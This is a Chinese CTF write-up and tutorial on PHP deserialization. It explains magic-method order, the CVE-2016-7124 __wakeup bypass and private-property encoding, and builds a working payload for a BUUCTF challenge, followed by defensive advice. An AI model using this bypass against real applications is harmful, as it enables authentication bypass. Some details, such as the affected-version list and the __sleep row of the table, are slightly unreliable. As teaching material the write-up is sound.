别再死记硬背了!从BUUCTF PHP题深入理解`__wakeup`和`__destruct`的执行顺序
深入解析PHP反序列化:从魔术方法执行顺序到实战绕过技巧
在CTF竞赛和实际渗透测试中,PHP反序列化漏洞一直是高频出现的攻击面。许多开发者虽然了解基本的反序列化概念,但对关键魔术方法的执行顺序、变量修饰符的影响以及绕过技巧往往存在认知盲区。本文将以经典BUUCTF题目为案例,带你彻底掌握这些核心知识点。
1. PHP对象生命周期与魔术方法调用时机
理解PHP反序列化的核心在于把握对象生命周期中魔术方法的触发节点。与常见的误解不同,__construct并不会在反序列化时自动调用,这是许多开发者容易混淆的关键点。
典型执行流程对比:
| 操作类型 | 新建对象 (new) | 反序列化 (unserialize) |
|---|---|---|
| 构造方法 | 触发__construct | 不触发任何构造方法 |
| 序列化前操作 | - | 可触发__sleep |
| 反序列化后操作 | - | 立即触发__wakeup |
| 销毁操作 | 脚本结束时触发__destruct | 同左 |
一个关键细节是:__destruct的触发需要满足两个条件之一:
- 对象的所有引用都被显式删除(如
unset) - 脚本正常执行结束(包括异常捕获后的正常退出)
class Demo { public function __destruct() { echo "Destructor called\n"; } } // 情况1:显式销毁 $obj = new Demo(); unset($obj); // 立即输出"Destructor called" // 情况2:脚本结束 $obj2 = new Demo(); // 脚本结束时自动输出"Destructor called"2. __wakeup绕过原理与CVE-2016-7124详解
在BUUCTF题目中,__wakeup方法会将用户名重置为'guest',这显然阻碍了我们获取flag的目标。绕过这个保护机制需要深入理解CVE-2016-7124漏洞。
漏洞核心:当序列化字符串中声明的属性数量大于实际属性数量时,__wakeup会被跳过。这不是设计特性,而是PHP内核处理时的逻辑缺陷。
受影响版本:
- PHP 5 < 5.6.25
- PHP 7 < 7.0.10
- PHP 7.3.4
实际操作示例: 原始序列化数据:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}绕过__wakeup的修改后数据:
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";} // 注意属性数量从2改为3(大于实际属性数)提示:现代PHP版本已修复此漏洞,但在CTF竞赛和遗留系统中仍可能遇到
3. 变量可见性与序列化格式深度解析
PHP中变量的可见性修饰符(public/protected/private)会直接影响序列化后的字符串格式,这是许多反序列化漏洞利用的关键。
三类变量序列化格式对比:
public变量
格式最简,直接使用变量名:s:3:"op";i:2;protected变量
添加\0*\0前缀(%00*%00 URL编码):s:5:"\0*\0op";i:2;private变量
添加\0类名\0前缀(如%00Name%00):s:17:"\0Name\0username";s:5:"admin";
CTF实战技巧:
- 计算长度时,每个
\0计为1个字符 - URL传输时需要将
\0编码为%00 - 私有变量名格式为:
\0类名\0变量名
// 正确计算private变量长度的示例 $serialized = 'O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";}'; // \0Name\0username 实际字符: // \0(1) + N(1) + a(1) + m(1) + e(1) + \0(1) + u(1) + s(1) + e(1) + r(1) + n(1) + a(1) + m(1) + e(1) = 144. BUUCTF PHP题实战分析与完整利用链
回到题目本身,我们需要构造一个满足以下条件的payload:
- 绕过
__wakeup对用户名的重置 - 确保
password=100以通过第一个检查 - 设置
username=admin以触发flag输出
分步解决方案:
- 创建恶意序列化类:
class Name { private $username = 'admin'; private $password = '100'; } echo serialize(new Name()); // 输出:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}- 手动修正private变量格式:
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}- 添加
__wakeup绕过: 将属性数量从2改为更大的数字(如3或4):
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}- 最终URL编码payload:
?select=O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}关键检查点:
- 确认
%00是否正确编码 - 验证字符串长度计算是否准确
- 测试不同属性数量对
__wakeup的影响
5. 防御策略与安全开发建议
理解了攻击原理后,我们更需要知道如何防御这类漏洞:
安全开发准则:
输入验证
永远不要反序列化不可信的输入数据// 不安全 $data = unserialize($_GET['input']); // 相对安全 if (is_trusted_source($_GET['input'])) { $data = unserialize($_GET['input']); }使用JSON替代
考虑使用json_encode/json_decode代替序列化魔术方法安全实现
在__wakeup和__destruct中避免关键操作版本升级
保持PHP版本更新,修复已知漏洞
代码审计要点:
- 检查所有
unserialize调用点的输入来源 - 审查
__wakeup和__destruct中的逻辑 - 特别注意敏感操作与属性赋值的顺序
在最近的一次渗透测试中,我们发现某CMS系统正是因为未正确处理用户提供的序列化数据,导致攻击者可以绕过身份验证。修复方案很简单:用JSON替代序列化传输复杂数据,同时对所有反序列化操作添加签名验证。
